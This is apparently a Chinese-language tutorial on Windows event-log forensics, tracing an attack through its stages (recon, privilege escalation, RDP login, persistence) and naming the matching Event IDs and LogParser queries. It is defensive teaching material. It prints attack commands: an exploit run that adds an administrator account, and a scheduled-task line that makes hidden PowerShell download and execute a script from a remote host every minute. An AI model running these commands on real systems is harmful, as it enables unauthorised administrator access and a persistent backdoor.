Windows日誌識別入侵痕跡
有小夥伴問:網路上大部分windows系統日誌分析都只是對惡意登入事件分析的案例,可以通過系統日誌找到其他入侵痕跡嗎?
答案肯定是可以的,當攻擊者獲取webshell後,會通過各種方式來執行系統命令。所有的web攻擊行為會存留在web訪問日誌裡,而執行作業系統命令的行為也會存在在系統日誌。不同的攻擊場景會產生不一樣的系統日誌,不同的Event ID代表了不同的意義,需要重點關注一些事件ID,分析入侵者在系統中留下的攻擊痕跡。
我們通過一個攻擊案例來進行windows日誌分析,從日誌裡識別出攻擊場景,發現惡意程式執行痕跡,甚至還原攻擊者的行為軌跡。
1、資訊收集
攻擊者在獲取webshell許可權後,會嘗試查詢當前使用者許可權,收集系統版本和補丁資訊,用來輔助許可權提升。
whoami
systeminfo
Windows日誌分析:
在本地安全策略中,需開啟稽核程序跟蹤,可以跟蹤程序建立/終止。關鍵程序跟蹤事件和說明,如:
4688 建立新程序 4689 程序終止
我們通過LogParser做一個簡單的篩選,得到Event ID 4688,也就是建立新程序的列表,可以發現使用者Bypass,先後呼叫cmd執行whami和systeminfo。Conhost.exe程序主要是為命令列程式(cmd.exe)提供圖形子系統等功能支援。
Logparser.exe –i:EVT –o:DATAGRID "SELECT * FROM c:\11.evtx"LogParser.exe -i:EVT "SELECT TimeGenerated,EventID,EXTRACT_TOKEN(Strings,1,'|') as UserName,EXTRACT_TOKEN(Strings,5,'|') as ProcessName FROM c:\11.evtx where EventID=4688"
2、許可權提升
通過執行exp來提升許可權,獲取作業系統system許可權,增加管理使用者。
ms16-032.exe "whoami" ms16-032.exe "net user test1 abc123! /add" ms16-032.exe "net localgroup Administrators test1 /add"
Windows日誌分析:
在本地安全策略中,需開啟稽核賬戶管理,關鍵賬戶管理事件和說明。如:
4720 建立使用者 4732 已將成員新增到啟用安全性的本地組
這裡會涉及程序建立,主要關注賬戶建立和管理使用者組變更。從Event ID 4720 ,系統新建了一個test使用者,從Event ID 4732的兩條記錄變化,得到一個關鍵資訊,本地使用者test從user組提升到Administrators。
3、管理賬號登入
在建立管理賬戶後,嘗試遠端登入到目標主機,獲取敏感資訊。
mstsc /v 10.1.1.188
Windows日誌分析:
在本地安全策略中,需開啟稽核登入事件,關鍵登入事件和說明,如:
4624 登入成功 4625 登入失敗
LogParser.exe -i:EVT "SELECT TimeGenerated as LoginTime,EXTRACT_TOKEN(Strings,8,'|') as EventType,EXTRACT_TOKEN(Strings,5,'|') as username,EXTRACT_TOKEN(Strings,18,'|') as Loginip FROM C:\3333.evtx where EventID=4624"
使用LogParser做一下分析,得到系統登入時間,登入型別10 也就是遠端登入,登入使用者 test,登入IP:10.1.1.1。
4、許可權維持
通過建立計劃任務執行指令碼後門,以便下次直接進入,使用以下命令可以一鍵實現:
schtasks /create /sc minute /mo 1 /tn "Security Script" /tr "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring(\"\"\"http://10.1.1.1:8888/logo.txt\"\"\"))\""
Windows日誌分析:
在本地安全策略中,需開啟稽核物件訪問,關鍵物件訪問事件,如:
4698 建立計劃任務 4699 刪除計劃任務
這裡涉及程序建立和物件訪問事件,包括schtasks.exe程序的建立和Event ID 4698發現新建的計劃任務。成功找到計劃任務後門位置: